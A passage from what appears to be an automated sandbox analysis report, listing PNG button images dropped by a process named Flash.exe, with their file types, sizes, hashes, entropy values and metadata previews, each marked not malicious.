MD5:	1131F54BCD47D0D9CDD01EFFCB6B1EC6
SHA1:	4F6A021128D467506BBE4500E94522973D03E140
SHA-256:	3F02D95B10DBD114DF63771BA366BBA4FBAC58F16E8792AE295E00DF2A1BF03D
SHA-512:	3D8269293173B2586B2B4ADAE3CE3CDE42753C83239402A992DC9319176DD953D0F446C9818EC9545BB2FDD60B466DF3DDF093B101EEC2D9058FEF94CC7831C9
Malicious:	false
Preview:	.PNG........IHDR.......<.......Q.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:519111042B1B11E88C0EC866B182200C" xmpMM:DocumentID="xmp.did:519111052B1B11E88C0EC866B182200C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:519111022B1B11E88C0EC866B182200C" stRef:documentID="xmp.did:519111032B1B11E88C0EC866B182200C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>d..R...nIDATx...AJ.A.E..z,....l.......J.-....,.x<..].<.>....X.........o.y.Q........c.v..E$...@dA..]bp.X.E.eO-

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 330 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	6.805752632491674
Encrypted:	false
SSDEEP:	24:oT1hiyWwjx82lY2T37VYlUFyJ3VuT3M+qGiY6g+LhhxjqCnRipXn/wNyY8rgu7:oZuNn2vMJ3q3o+6zL3ZqBpXG8rR7
MD5:	DADECC36F767723CD7B6C105868E44FC
SHA1:	365B9D3C814E99FE924CF4B910C5F8517C3929EB
SHA-256:	92EC22C9F2D5C30583FDC1354AECC2F0E4628406342C30B8D98D51820EAE2EFD
SHA-512:	339DB61550941A20BEA304334346B397321C07CD632C788162BA1F5E9C52E5DB7A7091400DAAC0BDF53F1D990B0EBD16D544663A418833FB3654750F302667ED
Malicious:	false
Preview:	.PNG........IHDR...J...P......q......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:515EB5A72B1B11E8B181E47217A15AB1" xmpMM:DocumentID="xmp.did:515EB5A82B1B11E8B181E47217A15AB1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:515EB5A52B1B11E8B181E47217A15AB1" stRef:documentID="xmp.did:515EB5A62B1B11E8B181E47217A15AB1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>V.=P....IDATx...1N.P.E.Ar....b.l.. .Z........9.....f..w.o_..m..../.b^...Y...b..d...U@-..\|I7d...o...k..7D......

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_big_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 170 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.499266314855442
Encrypted:	false
SSDEEP:	24:y1hNo7FCWwjx82lY2T3/V6Ys6yJ3VYhuKP8GKe1nWVqZByWU:wzo7FDNn2DGJ3UP85eJFyWU
MD5:	0EB83110827B2E3F938B6CB6A78904A8
SHA1:	289D2A4110B2A7631CD4BD6432E185D9EEE9977E
SHA-256:	4E8697BB39223F8C65B747BCE048CCCFA7EF5051DF6669D885B9CF892CF71F33
SHA-512:	A00DCF5F4008BE315D78BA6D8B19F280B65758FA675998586D7ACB5C7C81DA20A9274825B94A615743D373FB03D5946FCE7E792215C0AD32E2D177E35322B6ED
Malicious:	false
Preview:	.PNG........IHDR.......(......l......tEXtSoftware.Adobe ImageReadyq.e<...!iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:2D792B2646F611E8A64AC912284A1F56" xmpMM:DocumentID="xmp.did:2D792B2746F611E8A64AC912284A1F56"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2D792B2446F611E8A64AC912284A1F56" stRef:documentID="xmp.did:2D792B2546F611E8A64AC912284A1F56"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>x.....IDATx...B1..?.5.44.+k1.4...I.c...u.#%9<.......q....K.9..8S.)...*...[....G...'..K?..c...W.H?..D.NV.+?..i..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_big_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 220 x 50, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1238
Entropy (8bit):	6.652588911856134
Encrypted:	false
SSDEEP:	24:Yq1hNo7FCWwjx82lY2T3/VRMiyJ3Vnm0GLDYv1DOnTsh2OGDRy/ofPN:Bzo7FDNn2DcJJ3JVadsh2t2ofF
MD5:	B2F25039704B4406AB4933348723546E
SHA1:	10FFC1F6F13B1FDAEAED76777570D794C9867B42
SHA-256:	5ADE60B8E98A2AE3E3699BDC36B6C218D530CFE4CD6AE1E5A10DB9D0C7710BA5
SHA-512:	3FDE279D8A2D35F8D97C44DC4306090C971243403F6B05E6EA4AA6F726EAF31AB104F04AF14000122386081B1C49C8C8B9673643E13F72A8FBA06D99293EEC6E
Malicious:	false
Preview:	.PNG........IHDR.......2......v"$....tEXtSoftware.Adobe ImageReadyq.e<...!iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:2D1AFA0346F611E8BA2D85132A7DA395" xmpMM:DocumentID="xmp.did:2D1AFA0446F611E8BA2D85132A7DA395"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2D1AFA0146F611E8BA2D85132A7DA395" stRef:documentID="xmp.did:2D1AFA0246F611E8BA2D85132A7DA395"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.]+....KIDATx...M.A.D.F...a.@..E<....k...E..87.V..Y.^..P..{..\|:.Dxy~:..{mg...t.S.@D....&J.D.8%b...R.D,.G\|.$.9n.....r~..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_big_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 270 x 60, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1283
Entropy (8bit):	6.769142098016756
Encrypted:	false
SSDEEP:	24:Z1hNo7FCWwjx82lY2T3/VojYDyJ3VGGGItLN93uELQRZwNprJR8p96:nzo7FDNn2DOJ3hxtXPLQqBJip96
MD5:	2911320B7EBCB67CA9FB57D9AD49FD17
SHA1:	B4F640F13A8F2BC29C73D85C1F834BD4B725E2A9
SHA-256:	EB2AF97A509064A6B51ABE75BC4A4AC3E51548BE32B647FE0B0A95505877B948
SHA-512:	BE7C4C7F7790EB6C4C8E9A72F475490ADBEE91F4C0C995943B1565E905256319E1BD37DE65EF91AB6CB7D8DFC123A493799EDC19AF8AE8F33DAAF6E7B45CA003
Malicious:	false
Preview:	.PNG........IHDR.......<.............tEXtSoftware.Adobe ImageReadyq.e<...!iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:2CBF2A7246F611E8B651C120B3DB3D6E" xmpMM:DocumentID="xmp.did:2CBF2A7346F611E8B651C120B3DB3D6E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2CBF2A7046F611E8B651C120B3DB3D6E" stRef:documentID="xmp.did:2CBF2A7146F611E8B651C120B3DB3D6E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>p.^...xIDATx...1J.A....&.42......{..{v.....{......{v.....t.....v.....r..G.+sH..g...f.2.Q........`.'.];.@.UN[..Q.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_big_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 370 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	6.858505350079416
Encrypted:	false
SSDEEP:	24:k1hNo7FCWwjx82lY2T3/VfdkIyJ3VfqkQgGDc3aUiWwqIQyaDzpCGdhkwgTG:qzo7FDNn2DCJ36gkGNiW7IQt5fkw6G
MD5:	36493F396A032E9A440E21FBC5B425C5
SHA1:	076794ACA1CBFB242E883265E7F5573C9EE1BEAF
SHA-256:	7C6E28C870EEEB7FF1B1DCD5109EA7A62AFE28692001E20F5DB176419CD6D692
SHA-512:	80488838330CDBCEE2CE435A04734ABCC3D71166E6251AF31348BFEEB6417BDAAB8CD68746498E6154A593D1EE8D1CD7B9FF6ABEFF6F444D06789780066BB0EF
Malicious:	false
Preview:	.PNG........IHDR...r...P......Ui.....tEXtSoftware.Adobe ImageReadyq.e<...!iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:2C5B323646F611E88C269A940EDB15CB" xmpMM:DocumentID="xmp.did:2C5B323746F611E88C269A940EDB15CB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2C5B323446F611E88C269A940EDB15CB" stRef:documentID="xmp.did:2C5B323546F611E88C269A940EDB15CB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..4.....IDATx...M.1.EQ#M....Zi.v..)......k..s.40......o........._>..x..lc.....s;......hR....T..r......mX..i.h+@.V.. .

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_cls_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15225
Entropy (8bit):	1.822549118367512
Encrypted:	false
SSDEEP:	48:u/6uuh8k29WJsEvshpl2v6mIGpuZhXBL4UxN+Y97sc5aH7xSUe:uSj8kEWmDhiHIGmhpxNX7sc5ONe
MD5:	6C5F048EBACBD8AE7A101F6F61E59508
SHA1:	5FAA36E6A74BDEC9B4834A3D2B8A58BF1D60DAB1
SHA-256:	561736842CE4B2345C3A82C536B68730ECC0584B2D25F599220276AD665D08F4
SHA-512:	7F40BBFF1066BDC3775E7565A6313E586E45A7F864E96CBB01B2DC28D626982F6803D1CA8829A0BCA7F7E8E0DCCEAAB22327771C9E45D783427852E976D243BB
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2018-05-25T15:37:25+08:00</xmp:CreateDate>. <

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_cls_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15576
Entropy (8bit):	2.039004087939381
Encrypted:	false
SSDEEP:	48:m/6uuh8k29WJsEveblVQufBLrmKxN+Y97sc5jtb7LqguSEQc5TCWLGQ9p7cxz:mSj8kEWm7xNX7sc5R3LxugWJ92xz
MD5:	7B79DD98A7F93AC91D20C9ED77F79FAA
SHA1:	CA561BE5F85BDDD0DF08E15BF32D5944A4EE2619
SHA-256:	2BDC4D6D43C5356294E705A09B9F9536CCA01AD5709EF04F629F9A865D2C225F
SHA-512:	254BC9DA2009F01414729FB31C73166185D933F2C9A01D51F6D7674470EBC38A31DB6BE38EE006A1EC939C3201CD86241ABE2D8E3C22B1F70C63BEE4933EFB84
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2018-05-25T16:08:42+08:00</xmp:CreateDate>. <

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_min_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15032
Entropy (8bit):	1.6813867815061596
Encrypted:	false
SSDEEP:	48:u/6uuh8k29WJsEvxhl6ZuIBLEj7xN+Y97sc5aH774krpUz:uSj8kEWmO//xNX7sc5O74EpUz
MD5:	F0817060D101B2E9A842C7D73E75C495
SHA1:	9AE77383EFA11F03112E009678E111C6979A0C83
SHA-256:	2661DED075DB2D45978884E401A668BFFB7AF9226B6DF07141E25654D2157144
SHA-512:	0E706E6584C78148F39E9FA63399464F0C57D4E3A088DCE0BC6351124033ADE6EFE0643D4D50A2921232CDAA300BEFCEC35B2B91843D11A9A5A5AF7ED0B6F400
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2018-05-25T15:37:25+08:00</xmp:CreateDate>. <

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_min_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15183
Entropy (8bit):	1.7848784728835358
Encrypted:	false
SSDEEP:	48:m/6uuh8k29WJsEvTpld6rpuGXBL8XxN+Y97sc5jtb7f88IYGST:mSj8kEWm8xNX7sc5R3XIYGST
MD5:	1DB312DC69F1EE86B808B3DE46100207
SHA1:	7E43F41753B5AB607EFAFB37914FB92E6A132C05
SHA-256:	0B15731643D248F86642D1B598C9598C374A42F4D68E74B0AF22B8F6DDAC590E
SHA-512:	D57424DF141E60B8C584A43CC2AFA67CA6E9274CD05F59F3C9144BEB11D84302C732097E92DC08EA67595E6A94AD95326C9C35DB8CCD216583A39D38B540709B
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2018-05-25T16:05:56+08:00</xmp:CreateDate>. <

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-close-default0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	6.219119255758446
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XV6rgXyJ3VPzrgWG0z96SC:jMYLNn2DqJ3VhxsN
MD5:	B9BCE06F6A3BD57ED6E66B5F7B69D08D
SHA1:	2E88CA320C060886B119AF4EC21BDA1C9AA94F0E
SHA-256:	53BFBF3EEAC32C4EF6AD9EE1BC5006887CC2202C4F450236E4312E6F685266E9
SHA-512:	758FFB26619872C186B1B05426B0884580B1160F2EC1F8A1006F694D1E33BCF081C0FDB232AAD92FF184378907D442923DA12247A2008C74370B2F7852D94685
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0CE306F0FCA111EA9EF8FDBD1C11C13A" xmpMM:DocumentID="xmp.did:0CE306F1FCA111EA9EF8FDBD1C11C13A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0CE306EEFCA111EA9EF8FDBD1C11C13A" stRef:documentID="xmp.did:0CE306EFFCA111EA9EF8FDBD1C11C13A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>6&.....IDATx.b....3...&......u...F.0......g..F..Ar 54s..+...Oas.H.$.RC3.......d.AjH1.......ZN.......r,....9..%

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-close-default1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1286
Entropy (8bit):	6.650003202507914
Encrypted:	false
SSDEEP:	24:M1hmYaWwjx82lY2T3XVE+X4xvXayJ3VEsXBxtXfGDbRjYW2TUg8EJ2IyT:yMYLNn2DafZJ3akNKWfT58EIIyT
MD5:	0CCE893FA75C12F51E49DF83EDDA59A1
SHA1:	351BE728DAF3F757BCB55607A8D6C911F1D6CEE1
SHA-256:	986A38841B8E03EBF1A0FFB0D69FC26CC06E453B4CBA57939A3C9A60CBCAF96D
SHA-512:	51FEC9A509F5E7F5A95702C33BD0C663124570A2210F68E32B44420750B1E567CC774C9B22DB57733AEDA0980EFEB55DFA152AD228DF4127B148FE365565930F
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F43454E70DE411EBBF689F92600F35C5" xmpMM:DocumentID="xmp.did:F43454E80DE411EBBF689F92600F35C5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F43454E50DE411EBBF689F92600F35C5" stRef:documentID="xmp.did:F43454E60DE411EBBF689F92600F35C5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.9.....vIDATx...AJ.@.....z..C.x.....o.z......wh..A<.....q..*..S..?...x...L&.z{..)z\..y...........................

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-close-null0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	6.252667995035423
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XVlaHVakrHviyJ3VKHBDkzHfGsi/QXY:jMYLNn2Dv+V/vJJ3o4fdI
MD5:	2B761A4BBBA17E8C64AD24215A09F940
SHA1:	C39AFF3A576792419ED9AF1F8C473AF8F3A9C6A1
SHA-256:	79106A08E15930FEC59186E8E01C57E5049169E311880ECE0116173B17FFCF79
SHA-512:	F734C88B3630D0889CD86697979CB1526E8F8983915CB629D3DDE204E3F4C95BDFEBD1BBABD5329F67A56673B401068D9A60F9AD01774139EEA1AA485D834293
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0BE6FE43FCA111EA95AFF5AD9F013E57" xmpMM:DocumentID="xmp.did:0BE6FE44FCA111EA95AFF5AD9F013E57"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0BE6FE41FCA111EA95AFF5AD9F013E57" stRef:documentID="xmp.did:0BE6FE42FCA111EA95AFF5AD9F013E57"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Mw......IDATx.b....3...&......u...F.0..0qB.........0H...f....>...W;.E..r 1..H.........#.-..!.LF.k...\|..rF.:.....A.9

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-close-null1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	6.68766205505437
Encrypted:	false
SSDEEP:	24:M1hmYaWwjx82lY2T3XViAT5byJ3V00aBMGmI7Fo78rpo4ub673Vyha:yMYLNn2DAZJ3mqJyrnuMVyw
MD5:	A98DEEC2438840D315EBBD05D5109A55
SHA1:	74E863376F280B963BFCC2161FD41B01492B8254
SHA-256:	64588F823D3E5DAECAC572B48B23D7BE6D82603A298FB1C4219EA68FB6D97E6A
SHA-512:	C08DF7163BFE4DE6A709A8208F393DD8C778BD2CCA2E35014B05E8CC8099128C9A3061181C8103AE9E3B138214270420BAAE45F9F5B7983012D5560B250107A7
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F34A84EF0DE411EB8CDFB8481F0A5248" xmpMM:DocumentID="xmp.did:F34A84F00DE411EB8CDFB8481F0A5248"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F34A84ED0DE411EB8CDFB8481F0A5248" 